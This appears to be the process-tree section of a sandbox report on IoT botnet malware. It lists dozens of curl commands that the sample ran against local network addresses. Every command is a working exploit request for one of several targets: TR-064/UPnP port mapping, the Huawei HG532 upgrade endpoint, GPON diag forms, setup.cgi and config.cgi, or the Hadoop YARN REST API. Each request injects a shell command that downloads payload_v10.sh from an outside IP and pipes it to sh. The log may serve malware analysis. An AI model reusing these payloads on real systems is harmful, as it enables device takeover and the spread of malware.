                                                                                                                                                                                                                                                                                                              curl -s -X POST "http://10.127.0.114:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1140
                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                curl -s -X POST http://10.127.0.114:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:1138
                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.115/setup.cgi
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:1131
                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                    curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.101:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:1143
                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.118/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:1150
                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.118:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:1146
                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                          curl -s -X POST http://10.127.0.118:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:1148
                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.118/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:1147
                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.118/setup.cgi
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:1151
                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                curl -s -X POST "http://10.127.0.116:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                  PID:1135
                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.110/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                    PID:1110
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                    curl -s -g "http://10.127.0.1/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:1113
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.118:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:1149
                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                        curl -s -X POST http://10.127.0.109:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                          PID:1145
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.116:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                            PID:1132
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                            curl -s -X POST "http://10.127.0.109:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:1153
                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                              curl -s -X POST "http://10.127.0.104:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:1030
                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.109/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1154
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.109/setup.cgi
                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1158
                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.11/setup.cgi
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1162
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                      curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.11/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1159
                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                        curl -s -g "http://10.127.0.112:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1163
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST "http://10.127.0.11:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1104
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                            curl -s -g "http://10.127.0.112/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1165
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.102:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1170
                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                curl -s -X POST http://10.127.0.112:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1172
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                  curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.106:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:1173
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.108:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1177
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST "http://10.127.0.112:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1176
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST http://10.127.0.111:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1181
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                          curl -s -g "http://10.127.0.111/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:1180
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST "http://10.127.0.111:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1182
                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                              curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.111/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:1184
                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                curl -s -g "http://10.127.0.111:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1179
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                  curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.112/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1187
                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                    curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.112/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:1189
                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                      curl -s -g "http://10.127.0.117/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1195
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.104:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1192
                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                          curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.114/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1190
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                            curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.117/setup.cgi
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1199
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST "http://10.127.0.117:7547/UD/act?1" -H "Content-Type: text/xml" -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><cdis><v>;&lt; (wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh &gt;;</v></cdis></NewPortMappingDescription></u:AddPortMapping></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1197
                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                curl -s -d "cmd=(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh" http://10.127.0.117/cgi-bin/config.cgi
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1198
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                  curl -s -g "http://10.127.0.117:8080/GponForm/diag_Form?images/" -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh`&ipv=0"
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1194
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                    curl -s -X POST http://10.127.0.117:37215/ctrlt/DeviceUpgrade_1 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>;(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>"
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1196
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                      curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.103:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1204
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                        curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.115:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1207
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                          curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.10:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1210
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                            curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.107:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1216
                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/curl
                                                                                                                                                                                                                                                                                                                                                                                                              curl -s -X POST -H "Content-Type: application/json" -d "{\"application-id\":\"application_1\",\"application-name\":\"test\",\"am-container-spec\":{\"commands\":{\"command\":\"(wget -qO- http://178.132.198.200:80/payload_v10.sh || curl -s http://178.132.198.200:80/payload_v10.sh) | sh\"}},\"application-type\":\"YARN\"}" http://10.127.0.100:8088/ws/v1/cluster/apps/new-application
                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1218
                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/curl
